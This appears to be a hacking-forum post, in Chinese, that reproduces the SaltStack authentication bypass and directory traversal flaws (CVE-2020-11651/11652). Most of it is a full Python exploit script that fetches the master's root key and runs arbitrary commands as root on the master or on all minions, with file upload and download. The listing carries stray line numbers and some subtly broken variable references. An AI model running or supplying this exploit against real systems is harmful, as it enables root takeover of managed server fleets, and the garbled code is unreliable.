taibeihacker
Moderator
SaltStack 远程命令执行漏洞复现(CVE-2020-11651)
SaltStack 简介
SaltStack 是基於Python 開發的一套C/S 架構配置管理工具,是一個服務器基礎架構集中化管理平台,具備配置管理、遠程執行、監控等功能,基於Python 語言實現,結合輕量級消息隊列(ZeroMQ)與Python 第三方模塊(Pyzmq、PyCrypto、Pyjinjia2、python-msgpack 和PyYAML 等)構建。Salt 用於監視和更新服務器狀態。每個服務器運行一個稱為minion 的代理程序,該代理程序連接到master 主機,即salt 安裝程序,該安裝程序從Minions 收集狀態報告並發布Minions 可以對其執行操作的更新消息。通常,此類消息是對所選服務器配置的更新,但是它們也可以用於在多個(甚至所有)受管系統上並行並行運行同一命令。
salt 中的默認通信協議為ZeroMQ。主服務器公開兩個ZeroMQ 實例,一個稱為請求服務器,其中minion 可以連接到其中報告其狀態(或命令輸出),另一個稱為發布服務器,其中主服務器可以連接和訂閱這些消息。
漏洞详情
影响版本
SaltStack 2019.2.4 SaltStack 3000.2漏洞细节
身份验证绕过漏洞(CVE-2020-11651)
ClearFuncs 類在處理授權時,並未限制_send_pub() 方法,該方法直接可以在發布隊列消息,發布的消息會通過root 身份權限進行執行命令。 ClearFuncs 還公開了_prep_auth_info() 方法,通過該方法可以獲取到root key,通過獲取到的root key 可以在主服務上遠程調用命令。目录遍历漏洞(CVE-2020-11652)
whell 模塊中包含用於在特定目錄下讀取、寫入文件命令。函數中輸入的信息與目錄進行拼接可以繞過目錄限制。在salt.tokens.localfs 類中的get_token() 方法(由ClearFuncs 類可以通過未授權進行調用)無法刪除輸入的參數,並且作為文件名稱使用,在路徑中通過拼接. 進行讀取目標目錄之外的文件。唯一的限制是文件必須通過salt.payload.Serial.loads() 進行反序列化。
漏洞复现
nmap 探测端口
1nmap -sV -p 4504,4506 IP

exp
12
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
#!/usr/bin/env python3
import argparse
import datetime
import os
import pip
import sys
import warnings
def install(package):
if hasattr(pip, 'main'):
pip.main(['install', package])
else:
pip._internal.main(['install', package])
try:
import salt
import salt.version
import salt.transport.client
import salt.exceptions
except:
install('distro')
install('salt')
def ping(channel):
message={
'cmd':'ping'
}
try:
response=channel.send(message, timeout=5)
if response:
return True
except salt.exceptions.SaltReqTimeoutError:
pass
return False
def get_rootkey(channel):
message={
'cmd':'_prep_auth_info'
}
try:
response=channel.send(message, timeout=5)
for i in response:
if isinstance(i,dict) and len(i)==1:
rootkey=list(i.values())[0]
return rootkey
except:
pass
return False
def minion(channel, command):
message={
'cmd': '_send_pub',
'fun': 'cmd.run',
'arg': ['/bin/sh -c \'{command}\''],
'tgt': '*',
'ret': '',
'tgt_type': 'glob',
'user': 'root',
'jid': '{0:%Y%m%d%H%M%S%f}'.format(datetime.datetime.utcnow()),
'_stamp': '{0:%Y-%m-%dT%H:%M:%S.%f}'.format(datetime.datetime.utcnow())
}
try:
response=channel.send(message, timeout=5)
if response==None:
return True
except:
pass
return False
def master(channel, key, command):
message={
'key': key,
'cmd': 'runner',
'fun': 'salt.cmd',
'kwarg':{
'fun': 'cmd.exec_code',
'lang': 'python3',
'code': f'import subprocess;subprocess.call(\'{command}\',shell=True)'
},
'user': 'root',
'jid': '{0:%Y%m%d%H%M%S%f}'.format(datetime.datetime.utcnow()),
'_stamp': '{0:%Y-%m-%dT%H:%M:%S.%f}'.format(datetime.datetime.utcnow())
}
try:
response=channel.send(message, timeout=5)
log('[ ] Response: ' + str(response))
except:
return False
def download(channel, key, src, dest):
message={
'key': key,
'cmd': 'wheel',
'fun': 'file_roots.read',
'path': path,
'saltenv': 'base',
}
try:
response=channel.send(message, timeout=5)
data=response['data']['return'][0][path]
with open(dest, 'wb') as o:
o.write(data)
return True
except:
return False
def upload(channel, key, src, dest):
try:
with open(src, 'rb') as s:
data=s.read()
except Exception as e:
print(f'[ ] Failed to read {src}: {e}')
return False
message={
'key': key,
'cmd': 'wheel',
'fun': 'file_roots.write',
'saltenv': 'base',
'data': data,
'path': dest,
}
try:
response=channel.send(message, timeout=5)
return True
except:
return False
def log(message):
if not args.quiet:
print(message)
if __name__=='__main__':
warnings.filterwarnings('ignore')
desc='CVE-2020-11651 PoC'
parser=argparse.ArgumentParser(description=desc)
parser.add_argument('--host', '-t', dest='master_host', metavar=('HOST'), required=True)
parser.add_argument('--port', '-p', dest='master_port', metavar=('PORT'), default='4506', required=False)
parser.add_argument('--execute', '-e', dest='command', default='/bin/sh', help='Command to execute. Defaul: /bin/sh', required=False)
parser.add_argument('--upload', '-u', dest='upload', nargs=2, metavar=('src', 'dest'), help='Upload a file', required=False)
parser.add_argument('--download', '-d', dest='download', nargs=2, metavar=('src', 'dest'), help='Download a file', required=False)
parser.add_argument('--minions', dest='minions', default=False, action='store_true', help='Send command to all minions on master',required=False)
parser.add_argument('--quiet', '-q', dest='quiet', default=False, action='store_true', help='Enable quiet/silent mode', required=False)
parser.add_argument('--fetch-key-only', dest='fetchkeyonly', default=False, action='store_true', help='Only fetch the key', required=False)
args=parser.parse_args()
minion_config={
'transport': 'zeromq',
'pki_dir': '/tmp',
'id': 'root',
'log_level': 'debug',
'master_ip': args.master_host,
'master_port': args.master_port,
'auth_timeout': 5,
'auth_tries': 1,
'master_uri': f'tcp://{args.master_host}:{args.master_port}'
}
clear_channel=salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')
log(f'[+] Attempting to ping {args.master_host}')
if not ping(clear_channel):
log('[-] Failed to ping the master')
log('[+] Exit')
sys.exit(1)
log('[+] Attempting to fetch the root key from the instance.')
rootkey=get_rootkey(clear_channel)
if not rootkey:
log('[-] Failed to fetch the root key from the instance.')
sys.exit(1)
log('[+] Retrieved root key: ' + rootkey)
if args.fetchkeyonly:
sys.exit(1)
if args.upload:
log(f'[+] Attemping to upload {src} to {dest}')
if upload(clear_channel, rootkey, args.upload[0], args.upload[1]):
log('[+] Upload done!')
else:
log('[-] Failed')
if args.download:
log(f'[+] Attemping to download {src} to {dest}')
if download(clear_channel, rootkey, args.download[0], args.download[1]):
log('[+] Download done!')
else:
log('[-] Failed')
if args.minions:
log('[+] Attempting to send command to all minions on master')
if not minion(clear_channel, command):
log('[-] Failed')
else:
log('[+] Attempting to send command to master')
if not master(clear_channel, rootkey, command):
log('[-] Failed')
漏洞利用
讀取root key 檢測是否存在漏洞:
目錄遍歷

命令執行
